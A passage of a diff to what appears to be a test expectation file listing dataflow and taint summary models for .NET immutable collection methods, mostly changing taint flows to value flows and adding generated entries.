System.Collections.Generic;LinkedList;get_SyncRoot;();Argument[this];ReturnValue;value;dfc-generated | | System.Collections.Generic;LinkedListNode;LinkedListNode;(T);Argument[0];Argument[this];taint;df-generated | | System.Collections.Generic;LinkedListNode;get_List;();Argument[this];ReturnValue;taint;df-generated | @@ -7446,13 +7453,13 @@ summary | System.Collections.Immutable;ImmutableArray;Slice;(System.Int32,System.Int32);Argument[this];ReturnValue;value;dfc-generated | | System.Collections.Immutable;ImmutableArray;Sort;();Argument[this];ReturnValue;value;dfc-generated | | System.Collections.Immutable;ImmutableArray;Sort;(System.Collections.Generic.IComparer);Argument[this];Argument[0];taint;df-generated | -| System.Collections.Immutable;ImmutableArray;Sort;(System.Collections.Generic.IComparer);Argument[this];ReturnValue;taint;df-generated | +| System.Collections.Immutable;ImmutableArray;Sort;(System.Collections.Generic.IComparer);Argument[this];ReturnValue;value;df-generated | | System.Collections.Immutable;ImmutableArray;Sort;(System.Comparison);Argument[0];Argument[0].Parameter[delegate-self];value;dfc-generated | | System.Collections.Immutable;ImmutableArray;Sort;(System.Comparison);Argument[0];Argument[0].Parameter[delegate-self];value;hq-generated | | System.Collections.Immutable;ImmutableArray;Sort;(System.Comparison);Argument[this];ReturnValue;value;dfc-generated | | System.Collections.Immutable;ImmutableArray;Sort;(System.Comparison);Argument[this];ReturnValue;value;hq-generated | | System.Collections.Immutable;ImmutableArray;Sort;(System.Int32,System.Int32,System.Collections.Generic.IComparer);Argument[this];Argument[2];taint;df-generated | -| System.Collections.Immutable;ImmutableArray;Sort;(System.Int32,System.Int32,System.Collections.Generic.IComparer);Argument[this];ReturnValue;taint;df-generated | +| System.Collections.Immutable;ImmutableArray;Sort;(System.Int32,System.Int32,System.Collections.Generic.IComparer);Argument[this];ReturnValue;value;df-generated | | System.Collections.Immutable;ImmutableArray;ToBuilder;();Argument[this].Element;ReturnValue.Element;value;dfc-generated | | System.Collections.Immutable;ImmutableArray;get_Item;(System.Int32);Argument[this].Element;ReturnValue;value;manual | | System.Collections.Immutable;ImmutableArray;get_Item;(System.Int32);Argument[this].SyntheticField[System.Collections.Immutable.ImmutableArray`1.array].Element;ReturnValue;value;dfc-generated | @@ -7565,13 +7572,16 @@ summary | System.Collections.Immutable;ImmutableDictionary;GetEnumerator;();Argument[this].Element;ReturnValue.Property[System.Collections.Generic.IEnumerator`1.Current];value;manual | | System.Collections.Immutable;ImmutableDictionary;GetEnumerator;();Argument[this].Element;ReturnValue.Property[System.Collections.IEnumerator.Current];value;manual | | System.Collections.Immutable;ImmutableDictionary;GetEnumerator;();Argument[this].Element;ReturnValue.Property[System.Collections.Immutable.ImmutableDictionary`2+Enumerator.Current];value;manual | -| System.Collections.Immutable;ImmutableDictionary;Remove;(TKey);Argument[this];ReturnValue;taint;df-generated | -| System.Collections.Immutable;ImmutableDictionary;RemoveRange;(System.Collections.Generic.IEnumerable);Argument[this];ReturnValue;taint;df-generated | -| System.Collections.Immutable;ImmutableDictionary;SetItem;(TKey,TValue);Argument[this];ReturnValue;taint;df-generated | -| System.Collections.Immutable;ImmutableDictionary;SetItems;(System.Collections.Generic.IEnumerable>);Argument[this];ReturnValue;taint;df-generated | +| System.Collections.Immutable;ImmutableDictionary;Remove;(TKey);Argument[this];ReturnValue;value;df-generated | +| System.Collections.Immutable;ImmutableDictionary;RemoveRange;(System.Collections.Generic.IEnumerable);Argument[this];ReturnValue;value;df-generated | +| System.Collections.Immutable;ImmutableDictionary;SetItem;(TKey,TValue);Argument[this];ReturnValue;value;df-generated | +| System.Collections.Immutable;ImmutableDictionary;SetItems;(System.Collections.Generic.IEnumerable>);Argument[this];ReturnValue;value;df-generated | | System.Collections.Immutable;ImmutableDictionary;ToBuilder;();Argument[this];ReturnValue;taint;df-generated | | System.Collections.Immutable;ImmutableDictionary;TryGetKey;(TKey,TKey);Argument[0];Argument[1];value;dfc-generated | +| System.Collections.Immutable;ImmutableDictionary;WithComparers;(System.Collections.Generic.IEqualityComparer);Argument[0];ReturnValue.SyntheticField[System.Collections.Immutable.ImmutableDictionary`2._comparers].SyntheticField[System.Collections.Immutable.ImmutableDictionary`2+Comparers._keyComparer];value;df-generated | | System.Collections.Immutable;ImmutableDictionary;WithComparers;(System.Collections.Generic.IEqualityComparer);Argument[0];ReturnValue.SyntheticField[System.Collections.Immutable.ImmutableDictionary`2._comparers].SyntheticField[System.Collections.Immutable.ImmutableDictionary`2+Comparers._keyComparer];value;dfc-generated | +| System.Collections.Immutable;ImmutableDictionary;WithComparers;(System.Collections.Generic.IEqualityComparer);Argument[this];ReturnValue;value;df-generated | +| System.Collections.Immutable;ImmutableDictionary;WithComparers;(System.Collections.Generic.IEqualityComparer);Argument[this];ReturnValue;value;dfc-generated | | System.Collections.Immutable;ImmutableDictionary;WithComparers;(System.Collections.Generic.IEqualityComparer,System.Collections.Generic.IEqualityComparer);Argument[0];ReturnValue.SyntheticField[System.Collections.Immutable.ImmutableDictionary`2._comparers].SyntheticField[System.Collections.Immutable.ImmutableDictionary`2+Comparers._keyComparer];value;dfc-generated | | System.Collections.Immutable;ImmutableDictionary;WithComparers;(System.Collections.Generic.IEqualityComparer,System.Collections.Generic.IEqualityComparer);Argument[1];ReturnValue.SyntheticField[System.Collections.Immutable.ImmutableDictionary`2._comparers].SyntheticField[System.Collections.Immutable.ImmutableDictionary`2+Comparers._valueComparer];value;dfc-generated | | System.Collections.Immutable;ImmutableDictionary;WithComparers;(System.Collections.Generic.IEqualityComparer,System.Collections.Generic.IEqualityComparer);Argument[this];ReturnValue;value;dfc-generated | @@ -7613,16 +7623,19 @@ summary | System.Collections.Immutable;ImmutableHashSet;Clear;();Argument[this].WithoutElement;ReturnValue;value;manual | | System.Collections.Immutable;ImmutableHashSet;CopyTo;(System.Array,System.Int32);Argument[this].Element;Argument[0].Element;value;manual | | System.Collections.Immutable;ImmutableHashSet;CopyTo;(T[],System.Int32);Argument[this].Element;Argument[0].Element;value;manual | -| System.Collections.Immutable;ImmutableHashSet;Except;(System.Collections.Generic.IEnumerable);Argument[this];ReturnValue;taint;df-generated | +| System.Collections.Immutable;ImmutableHashSet;Except;(System.Collections.Generic.IEnumerable);Argument[this];ReturnValue;value;df-generated | | System.Collections.Immutable;ImmutableHashSet;GetEnumerator;();Argument[this].Element;ReturnValue.Property[System.Collections.Generic.IEnumerator`1.Current];value;manual | | System.Collections.Immutable;ImmutableHashSet;GetEnumerator;();Argument[this].Element;ReturnValue.Property[System.Collections.IEnumerator.Current];value;manual | | System.Collections.Immutable;ImmutableHashSet;GetEnumerator;();Argument[this].Element;ReturnValue.Property[System.Collections.Immutable.ImmutableHashSet`1+Enumerator.Current];value;manual | | System.Collections.Immutable;ImmutableHashSet;Intersect;(System.Collections.Generic.IEnumerable);Argument[this];ReturnValue;value;dfc-generated | -| System.Collections.Immutable;ImmutableHashSet;Remove;(T);Argument[this];ReturnValue;taint;df-generated | +| System.Collections.Immutable;ImmutableHashSet;Remove;(T);Argument[this];ReturnValue;value;df-generated | | System.Collections.Immutable;ImmutableHashSet;SymmetricExcept;(System.Collections.Generic.IEnumerable);Argument[this];ReturnValue;value;dfc-generated | | System.Collections.Immutable;ImmutableHashSet;ToBuilder;();Argument[this];ReturnValue;taint;df-generated | | System.Collections.Immutable;ImmutableHashSet;TryGetValue;(T,T);Argument[0];Argument[1];value;dfc-generated | +| System.Collections.Immutable;ImmutableHashSet;Union;(System.Collections.Generic.IEnumerable);Argument[0];ReturnValue;value;df-generated | | System.Collections.Immutable;ImmutableHashSet;Union;(System.Collections.Generic.IEnumerable);Argument[0];ReturnValue;value;dfc-generated | +| System.Collections.Immutable;ImmutableHashSet;Union;(System.Collections.Generic.IEnumerable);Argument[this];ReturnValue;value;df-generated | +| System.Collections.Immutable;ImmutableHashSet;Union;(System.Collections.Generic.IEnumerable);Argument[this];ReturnValue;value;dfc-generated | | System.Collections.Immutable;ImmutableHashSet;WithComparer;(System.Collections.Generic.IEqualityComparer);Argument[this];ReturnValue;value;dfc-generated | | System.Collections.Immutable;ImmutableHashSet;get_KeyComparer;();Argument[this];ReturnValue;taint;df-generated | | System.Collections.Immutable;ImmutableHashSet;get_SyncRoot;();Argument[this];ReturnValue;value;dfc-generated | @@ -7674,17 +7687,17 @@ summary | System.Collections.Immutable;ImmutableList;Create;(System.ReadOnlySpan);Argument[0];ReturnValue;taint;df-generated | | System.Collections.Immutable;ImmutableList;Create;(T);Argument[0];ReturnValue;taint;df-generated | | System.Collections.Immutable;ImmutableList;Create;(T[]);Argument[0].Element;ReturnValue;taint;df-generated | -| System.Collections.Immutable;ImmutableList;CreateRange;(System.Collections.Generic.IEnumerable);Argument[0].Element;ReturnValue;taint;df-generated | +| System.Collections.Immutable;ImmutableList;CreateRange;(System.Collections.Generic.IEnumerable);Argument[0];ReturnValue;value;df-generated | | System.Collections.Immutable;ImmutableList;IndexOf;(System.Collections.Immutable.IImmutableList,T,System.Collections.Generic.IEqualityComparer);Argument[0].Element;Argument[2];taint;df-generated | | System.Collections.Immutable;ImmutableList;IndexOf;(System.Collections.Immutable.IImmutableList,T,System.Collections.Generic.IEqualityComparer);Argument[1];Argument[2];taint;df-generated | | System.Collections.Immutable;ImmutableList;LastIndexOf;(System.Collections.Immutable.IImmutableList,T,System.Collections.Generic.IEqualityComparer);Argument[0].Element;Argument[2];taint;df-generated | | System.Collections.Immutable;ImmutableList;LastIndexOf;(System.Collections.Immutable.IImmutableList,T,System.Collections.Generic.IEqualityComparer);Argument[1];Argument[2];taint;df-generated | -| System.Collections.Immutable;ImmutableList;Remove;(System.Collections.Immutable.IImmutableList,T);Argument[0].Element;ReturnValue;taint;df-generated | -| System.Collections.Immutable;ImmutableList;RemoveRange;(System.Collections.Immutable.IImmutableList,System.Collections.Generic.IEnumerable);Argument[0].Element;ReturnValue;taint;df-generated | -| System.Collections.Immutable;ImmutableList;Replace;(System.Collections.Immutable.IImmutableList,T,T);Argument[0].Element;ReturnValue;taint;df-generated | +| System.Collections.Immutable;ImmutableList;Remove;(System.Collections.Immutable.IImmutableList,T);Argument[0];ReturnValue;value;df-generated | +| System.Collections.Immutable;ImmutableList;RemoveRange;(System.Collections.Immutable.IImmutableList,System.Collections.Generic.IEnumerable);Argument[0];ReturnValue;value;df-generated | +| System.Collections.Immutable;ImmutableList;Replace;(System.Collections.Immutable.IImmutableList,T,T);Argument[0];ReturnValue;value;df-generated | | System.Collections.Immutable;ImmutableList;Replace;(System.Collections.Immutable.IImmutableList,T,T);Argument[2];Argument[0].Element;taint;df-generated | | System.Collections.Immutable;ImmutableList;Replace;(System.Collections.Immutable.IImmutableList,T,T);Argument[2];ReturnValue;taint;df-generated | -| System.Collections.Immutable;ImmutableList;ToImmutableList;(System.Collections.Generic.IEnumerable);Argument[0].Element;ReturnValue;taint;df-generated | +| System.Collections.Immutable;ImmutableList;ToImmutableList;(System.Collections.Generic.IEnumerable);Argument[0];ReturnValue;value;df-generated | | System.Collections.Immutable;ImmutableList+Builder;Add;(System.Object);Argument[0];Argument[this].Element;value;manual | | System.Collections.Immutable;ImmutableList+Builder;Add;(T);Argument[0];Argument[this].Element;value;manual | | System.Collections.Immutable;ImmutableList+Builder;AddRange;(System.Collections.Generic.IEnumerable);Argument[0].Element;Argument[this].Element;value;manual | @@ -7783,27 +7796,26 @@ summary | System.Collections.Immutable;ImmutableList;Insert;(System.Int32,T);Argument[1];Argument[this].Element;value;manual | | System.Collections.Immutable;ImmutableList;InsertRange;(System.Int32,System.Collections.Generic.IEnumerable);Argument[1].Element;Argument[this].Element;value;manual | | System.Collections.Immutable;ImmutableList;LastIndexOf;(T,System.Int32,System.Int32,System.Collections.Generic.IEqualityComparer);Argument[0];Argument[3];taint;df-generated | -| System.Collections.Immutable;ImmutableList;Remove;(T);Argument[this];ReturnValue;taint;df-generated | +| System.Collections.Immutable;ImmutableList;Remove;(T);Argument[this];ReturnValue;value;df-generated | | System.Collections.Immutable;ImmutableList;Remove;(T,System.Collections.Generic.IEqualityComparer);Argument[0];Argument[1];taint;df-generated | -| System.Collections.Immutable;ImmutableList;Remove;(T,System.Collections.Generic.IEqualityComparer);Argument[this];ReturnValue;taint;df-generated | +| System.Collections.Immutable;ImmutableList;Remove;(T,System.Collections.Generic.IEqualityComparer);Argument[this];ReturnValue;value;df-generated | | System.Collections.Immutable;ImmutableList;RemoveAll;(System.Predicate);Argument[0];Argument[0].Parameter[delegate-self];value;hq-generated | -| System.Collections.Immutable;ImmutableList;RemoveAt;(System.Int32);Argument[this];ReturnValue;taint;df-generated | -| System.Collections.Immutable;ImmutableList;RemoveRange;(System.Collections.Generic.IEnumerable);Argument[this];ReturnValue;taint;df-generated | -| System.Collections.Immutable;ImmutableList;RemoveRange;(System.Collections.Generic.IEnumerable,System.Collections.Generic.IEqualityComparer);Argument[this];ReturnValue;taint;df-generated | +| System.Collections.Immutable;ImmutableList;RemoveAt;(System.Int32);Argument[this];ReturnValue;value;df-generated | +| System.Collections.Immutable;ImmutableList;RemoveRange;(System.Collections.Generic.IEnumerable);Argument[this];ReturnValue;value;df-generated | | System.Collections.Immutable;ImmutableList;RemoveRange;(System.Collections.Generic.IEnumerable,System.Collections.Generic.IEqualityComparer);Argument[this];ReturnValue;value;df-generated | -| System.Collections.Immutable;ImmutableList;RemoveRange;(System.Int32,System.Int32);Argument[this];ReturnValue;taint;df-generated | +| System.Collections.Immutable;ImmutableList;RemoveRange;(System.Int32,System.Int32);Argument[this];ReturnValue;value;df-generated | | System.Collections.Immutable;ImmutableList;Replace;(T,T);Argument[1];Argument[this];taint;df-generated | | System.Collections.Immutable;ImmutableList;Replace;(T,T);Argument[1];ReturnValue;taint;df-generated | -| System.Collections.Immutable;ImmutableList;Replace;(T,T);Argument[this];ReturnValue;taint;df-generated | +| System.Collections.Immutable;ImmutableList;Replace;(T,T);Argument[this];ReturnValue;value;df-generated | | System.Collections.Immutable;ImmutableList;Replace;(T,T,System.Collections.Generic.IEqualityComparer);Argument[0];Argument[2];taint;df-generated | | System.Collections.Immutable;ImmutableList;Replace;(T,T,System.Collections.Generic.IEqualityComparer);Argument[1];Argument[this];taint;df-generated | | System.Collections.Immutable;ImmutableList;Replace;(T,T,System.Collections.Generic.IEqualityComparer);Argument[1];ReturnValue;taint;df-generated | -| System.Collections.Immutable;ImmutableList;Replace;(T,T,System.Collections.Generic.IEqualityComparer);Argument[this];ReturnValue;taint;df-generated | +| System.Collections.Immutable;ImmutableList;Replace;(T,T,System.Collections.Generic.IEqualityComparer);Argument[this];ReturnValue;value;df-generated | | System.Collections.Immutable;ImmutableList;Reverse;();Argument[this].Element;ReturnValue.Element;value;manual | | System.Collections.Immutable;ImmutableList;Reverse;(System.Int32,System.Int32);Argument[this].Element;ReturnValue.Element;value;manual | | System.Collections.Immutable;ImmutableList;SetItem;(System.Int32,T);Argument[1];Argument[this];taint;df-generated | | System.Collections.Immutable;ImmutableList;SetItem;(System.Int32,T);Argument[1];ReturnValue;taint;df-generated | -| System.Collections.Immutable;ImmutableList;SetItem;(System.Int32,T);Argument[this];ReturnValue;taint;df-generated | +| System.Collections.Immutable;ImmutableList;SetItem;(System.Int32,T);Argument[this];ReturnValue;value;df-generated | | System.Collections.Immutable;ImmutableList;Sort;();Argument[this];ReturnValue;value;dfc-generated | | System.Collections.Immutable;ImmutableList;Sort;(System.Collections.Generic.IComparer);Argument[this];ReturnValue;value;dfc-generated | | System.Collections.Immutable;ImmutableList;Sort;(System.Comparison);Argument[0];Argument[0].Parameter[delegate-self];value;dfc-generated | @@ -7840,15 +7852,15 @@ summary | System.Collections.Immutable;ImmutableSortedDictionary;CreateBuilder;(System.Collections.Generic.IComparer,System.Collections.Generic.IEqualityComparer);Argument[0];ReturnValue;taint;df-generated | | System.Collections.Immutable;ImmutableSortedDictionary;CreateBuilder;(System.Collections.Generic.IComparer,System.Collections.Generic.IEqualityComparer);Argument[1];ReturnValue;taint;df-generated | | System.Collections.Immutable;ImmutableSortedDictionary;CreateRange;(System.Collections.Generic.IComparer,System.Collections.Generic.IEnumerable>);Argument[0];ReturnValue;taint;df-generated | -| System.Collections.Immutable;ImmutableSortedDictionary;CreateRange;(System.Collections.Generic.IComparer,System.Collections.Generic.IEnumerable>);Argument[1].Element;ReturnValue;taint;df-generated | +| System.Collections.Immutable;ImmutableSortedDictionary;CreateRange;(System.Collections.Generic.IComparer,System.Collections.Generic.IEnumerable>);Argument[1];ReturnValue;value;df-generated | | System.Collections.Immutable;ImmutableSortedDictionary;CreateRange;(System.Collections.Generic.IComparer,System.Collections.Generic.IEqualityComparer,System.Collections.Generic.IEnumerable>);Argument[0];ReturnValue;taint;df-generated | | System.Collections.Immutable;ImmutableSortedDictionary;CreateRange;(System.Collections.Generic.IComparer,System.Collections.Generic.IEqualityComparer,System.Collections.Generic.IEnumerable>);Argument[1];ReturnValue;taint;df-generated | -| System.Collections.Immutable;ImmutableSortedDictionary;CreateRange;(System.Collections.Generic.IComparer,System.Collections.Generic.IEqualityComparer,System.Collections.Generic.IEnumerable>);Argument[2].Element;ReturnValue;taint;df-generated | -| System.Collections.Immutable;ImmutableSortedDictionary;CreateRange;(System.Collections.Generic.IEnumerable>);Argument[0].Element;ReturnValue;taint;df-generated | -| System.Collections.Immutable;ImmutableSortedDictionary;ToImmutableSortedDictionary;(System.Collections.Generic.IEnumerable>);Argument[0].Element;ReturnValue;taint;df-generated | -| System.Collections.Immutable;ImmutableSortedDictionary;ToImmutableSortedDictionary;(System.Collections.Generic.IEnumerable>,System.Collections.Generic.IComparer);Argument[0].Element;ReturnValue;taint;df-generated | +| System.Collections.Immutable;ImmutableSortedDictionary;CreateRange;(System.Collections.Generic.IComparer,System.Collections.Generic.IEqualityComparer,System.Collections.Generic.IEnumerable>);Argument[2];ReturnValue;value;df-generated | +| System.Collections.Immutable;ImmutableSortedDictionary;CreateRange;(System.Collections.Generic.IEnumerable>);Argument[0];ReturnValue;value;df-generated | +| System.Collections.Immutable;ImmutableSortedDictionary;ToImmutableSortedDictionary;(System.Collections.Generic.IEnumerable>);Argument[0];ReturnValue;value;df-generated | +| System.Collections.Immutable;ImmutableSortedDictionary;ToImmutableSortedDictionary;(System.Collections.Generic.IEnumerable>,System.Collections.Generic.IComparer);Argument[0];ReturnValue;value;df-generated | | System.Collections.Immutable;ImmutableSortedDictionary;ToImmutableSortedDictionary;(System.Collections.Generic.IEnumerable>,System.Collections.Generic.IComparer);Argument[1];ReturnValue;taint;df-generated | -| System.Collections.Immutable;ImmutableSortedDictionary;ToImmutableSortedDictionary;(System.Collections.Generic.IEnumerable>,System.Collections.Generic.IComparer,System.Collections.Generic.IEqualityComparer);Argument[0].Element;ReturnValue;taint;df-generated | +| System.Collections.Immutable;ImmutableSortedDictionary;ToImmutableSortedDictionary;(System.Collections.Generic.IEnumerable>,System.Collections.Generic.IComparer,System.Collections.Generic.IEqualityComparer);Argument[0];ReturnValue;value;df-generated | | System.Collections.Immutable;ImmutableSortedDictionary;ToImmutableSortedDictionary;(System.Collections.Generic.IEnumerable>,System.Collections.Generic.IComparer,System.Collections.Generic.IEqualityComparer);Argument[1];ReturnValue;taint;df-generated | | System.Collections.Immutable;ImmutableSortedDictionary;ToImmutableSortedDictionary;(System.Collections.Generic.IEnumerable>,System.Collections.Generic.IComparer,System.Collections.Generic.IEqualityComparer);Argument[2];ReturnValue;taint;df-generated | | System.Collections.Immutable;ImmutableSortedDictionary;ToImmutableSortedDictionary;(System.Collections.Generic.IEnumerable,System.Func,System.Func);Argument[0].Element;Argument[1].Parameter[0];value;dfc-generated | @@ -7931,17 +7943,27 @@ summary | System.Collections.Immutable;ImmutableSortedDictionary;GetEnumerator;();Argument[this].Element;ReturnValue.Property[System.Collections.Generic.IEnumerator`1.Current];value;manual | | System.Collections.Immutable;ImmutableSortedDictionary;GetEnumerator;();Argument[this].Element;ReturnValue.Property[System.Collections.IEnumerator.Current];value;manual | | System.Collections.Immutable;ImmutableSortedDictionary;GetEnumerator;();Argument[this].Element;ReturnValue.Property[System.Collections.Immutable.ImmutableSortedDictionary`2+Enumerator.Current];value;manual | -| System.Collections.Immutable;ImmutableSortedDictionary;Remove;(TKey);Argument[this];ReturnValue;taint;df-generated | -| System.Collections.Immutable;ImmutableSortedDictionary;RemoveRange;(System.Collections.Generic.IEnumerable);Argument[this];ReturnValue;taint;df-generated | +| System.Collections.Immutable;ImmutableSortedDictionary;Remove;(TKey);Argument[this];ReturnValue;value;df-generated | +| System.Collections.Immutable;ImmutableSortedDictionary;RemoveRange;(System.Collections.Generic.IEnumerable);Argument[this];ReturnValue;value;df-generated | +| System.Collections.Immutable;ImmutableSortedDictionary;SetItem;(TKey,TValue);Argument[0];ReturnValue.SyntheticField[System.Collections.Immutable.ImmutableSortedDictionary`2._root].SyntheticField[System.Collections.Immutable.ImmutableSortedDictionary`2+Node._key];value;df-generated | | System.Collections.Immutable;ImmutableSortedDictionary;SetItem;(TKey,TValue);Argument[0];ReturnValue.SyntheticField[System.Collections.Immutable.ImmutableSortedDictionary`2._root].SyntheticField[System.Collections.Immutable.ImmutableSortedDictionary`2+Node._key];value;dfc-generated | -| System.Collections.Immutable;ImmutableSortedDictionary;SetItems;(System.Collections.Generic.IEnumerable>);Argument[0].Element;ReturnValue;taint;df-generated | -| System.Collections.Immutable;ImmutableSortedDictionary;SetItems;(System.Collections.Generic.IEnumerable>);Argument[this];ReturnValue;taint;df-generated | +| System.Collections.Immutable;ImmutableSortedDictionary;SetItem;(TKey,TValue);Argument[this];ReturnValue;value;df-generated | +| System.Collections.Immutable;ImmutableSortedDictionary;SetItem;(TKey,TValue);Argument[this];ReturnValue;value;dfc-generated | +| System.Collections.Immutable;ImmutableSortedDictionary;SetItems;(System.Collections.Generic.IEnumerable>);Argument[0];ReturnValue;value;df-generated | +| System.Collections.Immutable;ImmutableSortedDictionary;SetItems;(System.Collections.Generic.IEnumerable>);Argument[this];ReturnValue;value;df-generated | | System.Collections.Immutable;ImmutableSortedDictionary;ToBuilder;();Argument[this];ReturnValue;taint;df-generated | | System.Collections.Immutable;ImmutableSortedDictionary;TryGetKey;(TKey,TKey);Argument[0];Argument[1];value;dfc-generated | | System.Collections.Immutable;ImmutableSortedDictionary;TryGetKey;(TKey,TKey);Argument[this].SyntheticField[System.Collections.Immutable.ImmutableSortedDictionary`2._root].SyntheticField[System.Collections.Immutable.ImmutableSortedDictionary`2+Node._key];Argument[1];value;dfc-generated | +| System.Collections.Immutable;ImmutableSortedDictionary;WithComparers;(System.Collections.Generic.IComparer);Argument[0];ReturnValue.SyntheticField[System.Collections.Immutable.ImmutableSortedDictionary`2._keyComparer];value;df-generated | | System.Collections.Immutable;ImmutableSortedDictionary;WithComparers;(System.Collections.Generic.IComparer);Argument[0];ReturnValue.SyntheticField[System.Collections.Immutable.ImmutableSortedDictionary`2._keyComparer];value;dfc-generated | +| System.Collections.Immutable;ImmutableSortedDictionary;WithComparers;(System.Collections.Generic.IComparer);Argument[this];ReturnValue;value;df-generated | +| System.Collections.Immutable;ImmutableSortedDictionary;WithComparers;(System.Collections.Generic.IComparer);Argument[this];ReturnValue;value;dfc-generated | +| System.Collections.Immutable;ImmutableSortedDictionary;WithComparers;(System.Collections.Generic.IComparer,System.Collections.Generic.IEqualityComparer);Argument[0];ReturnValue.SyntheticField[System.Collections.Immutable.ImmutableSortedDictionary`2._keyComparer];value;df-generated | | System.Collections.Immutable;ImmutableSortedDictionary;WithComparers;(System.Collections.Generic.IComparer,System.Collections.Generic.IEqualityComparer);Argument[0];ReturnValue.SyntheticField[System.Collections.Immutable.ImmutableSortedDictionary`2._keyComparer];value;dfc-generated | +| System.Collections.Immutable;ImmutableSortedDictionary;WithComparers;(System.Collections.Generic.IComparer,System.Collections.Generic.IEqualityComparer);Argument[1];ReturnValue.SyntheticField[System.Collections.Immutable.ImmutableSortedDictionary`2._valueComparer];value;df-generated | | System.Collections.Immutable;ImmutableSortedDictionary;WithComparers;(System.Collections.Generic.IComparer,System.Collections.Generic.IEqualityComparer);Argument[1];ReturnValue.SyntheticField[System.Collections.Immutable.ImmutableSortedDictionary`2._valueComparer];value;dfc-generated | +| System.Collections.Immutable;ImmutableSortedDictionary;WithComparers;(System.Collections.Generic.IComparer,System.Collections.Generic.IEqualityComparer);Argument[this];ReturnValue;value;df-generated | +| System.Collections.Immutable;ImmutableSortedDictionary;WithComparers;(System.Collections.Generic.IComparer,System.Collections.Generic.IEqualityComparer);Argument[this];ReturnValue;value;dfc-generated | | System.Collections.Immutable;ImmutableSortedDictionary;get_Item;(System.Object);Argument[this].Element.Property[System.Collections.Generic.KeyValuePair`2.Value];ReturnValue;value;manual | | System.Collections.Immutable;ImmutableSortedDictionary;get_Item;(TKey);Argument[this].Element.Property[System.Collections.Generic.KeyValuePair`2.Value];ReturnValue;value;manual | | System.Collections.Immutable;ImmutableSortedDictionary;get_KeyComparer;();Argument[this].SyntheticField[System.Collections.Immutable.ImmutableSortedDictionary`2._keyComparer];ReturnValue;value;dfc-generated | @@ -7965,10 +7987,10 @@ summary | System.Collections.Immutable;ImmutableSortedSet;Create;(T[]);Argument[0].Element;ReturnValue;taint;df-generated | | System.Collections.Immutable;ImmutableSortedSet;CreateBuilder;(System.Collections.Generic.IComparer);Argument[0];ReturnValue;taint;df-generated | | System.Collections.Immutable;ImmutableSortedSet;CreateRange;(System.Collections.Generic.IComparer,System.Collections.Generic.IEnumerable);Argument[0];ReturnValue;taint;df-generated | -| System.Collections.Immutable;ImmutableSortedSet;CreateRange;(System.Collections.Generic.IComparer,System.Collections.Generic.IEnumerable);Argument[1].Element;ReturnValue;taint;df-generated | -| System.Collections.Immutable;ImmutableSortedSet;CreateRange;(System.Collections.Generic.IEnumerable);Argument[0].Element;ReturnValue;taint;df-generated | -| System.Collections.Immutable;ImmutableSortedSet;ToImmutableSortedSet;(System.Collections.Generic.IEnumerable);Argument[0].Element;ReturnValue;taint;df-generated | -| System.Collections.Immutable;ImmutableSortedSet;ToImmutableSortedSet;(System.Collections.Generic.IEnumerable,System.Collections.Generic.IComparer);Argument[0].Element;ReturnValue;taint;df-generated | +| System.Collections.Immutable;ImmutableSortedSet;CreateRange;(System.Collections.Generic.IComparer,System.Collections.Generic.IEnumerable);Argument[1];ReturnValue;value;df-generated | +| System.Collections.Immutable;ImmutableSortedSet;CreateRange;(System.Collections.Generic.IEnumerable);Argument[0];ReturnValue;value;df-generated | +| System.Collections.Immutable;ImmutableSortedSet;ToImmutableSortedSet;(System.Collections.Generic.IEnumerable);Argument[0];ReturnValue;value;df-generated | +| System.Collections.Immutable;ImmutableSortedSet;ToImmutableSortedSet;(System.Collections.Generic.IEnumerable,System.Collections.Generic.IComparer);Argument[0];ReturnValue;value;df-generated | | System.Collections.Immutable;ImmutableSortedSet;ToImmutableSortedSet;(System.Collections.Generic.IEnumerable,System.Collections.Generic.IComparer);Argument[1];ReturnValue;taint;df-generated | | System.Collections.Immutable;ImmutableSortedSet+Builder;Add;(T);Argument[0];Argument[this].Element;value;manual | | System.Collections.Immutable;ImmutableSortedSet+Builder;Clear;();Argument[this].WithoutElement;Argument[this];value;manual | @@ -7998,24 +8020,30 @@ summary | System.Collections.Immutable;ImmutableSortedSet;Clear;();Argument[this];ReturnValue;value;dfc-generated | | System.Collections.Immutable;ImmutableSortedSet;CopyTo;(System.Array,System.Int32);Argument[this].Element;Argument[0].Element;value;manual | | System.Collections.Immutable;ImmutableSortedSet;CopyTo;(T[],System.Int32);Argument[this].Element;Argument[0].Element;value;manual | -| System.Collections.Immutable;ImmutableSortedSet;Except;(System.Collections.Generic.IEnumerable);Argument[this];ReturnValue;taint;df-generated | +| System.Collections.Immutable;ImmutableSortedSet;Except;(System.Collections.Generic.IEnumerable);Argument[this];ReturnValue;value;df-generated | | System.Collections.Immutable;ImmutableSortedSet;GetEnumerator;();Argument[this].Element;ReturnValue.Property[System.Collections.Generic.IEnumerator`1.Current];value;manual | | System.Collections.Immutable;ImmutableSortedSet;GetEnumerator;();Argument[this].Element;ReturnValue.Property[System.Collections.IEnumerator.Current];value;manual | | System.Collections.Immutable;ImmutableSortedSet;GetEnumerator;();Argument[this].Element;ReturnValue.Property[System.Collections.Immutable.ImmutableSortedSet`1+Enumerator.Current];value;manual | | System.Collections.Immutable;ImmutableSortedSet;Insert;(System.Int32,System.Object);Argument[1];Argument[this].Element;value;manual | | System.Collections.Immutable;ImmutableSortedSet;Insert;(System.Int32,T);Argument[1];Argument[this].Element;value;manual | -| System.Collections.Immutable;ImmutableSortedSet;Intersect;(System.Collections.Generic.IEnumerable);Argument[this];ReturnValue;taint;df-generated | -| System.Collections.Immutable;ImmutableSortedSet;Remove;(T);Argument[this];ReturnValue;taint;df-generated | +| System.Collections.Immutable;ImmutableSortedSet;Intersect;(System.Collections.Generic.IEnumerable);Argument[this];ReturnValue;value;df-generated | +| System.Collections.Immutable;ImmutableSortedSet;Remove;(T);Argument[this];ReturnValue;value;df-generated | | System.Collections.Immutable;ImmutableSortedSet;Reverse;();Argument[this].Element;ReturnValue.Element;value;manual | +| System.Collections.Immutable;ImmutableSortedSet;SymmetricExcept;(System.Collections.Generic.IEnumerable);Argument[0].Element;Argument[this].Element;value;df-generated | | System.Collections.Immutable;ImmutableSortedSet;SymmetricExcept;(System.Collections.Generic.IEnumerable);Argument[0].Element;Argument[this].Element;value;dfc-generated | +| System.Collections.Immutable;ImmutableSortedSet;SymmetricExcept;(System.Collections.Generic.IEnumerable);Argument[0].Element;ReturnValue.SyntheticField[System.Collections.Immutable.ImmutableSortedSet`1._root].SyntheticField[System.Collections.Immutable.ImmutableSortedSet`1+Node._key];value;df-generated | | 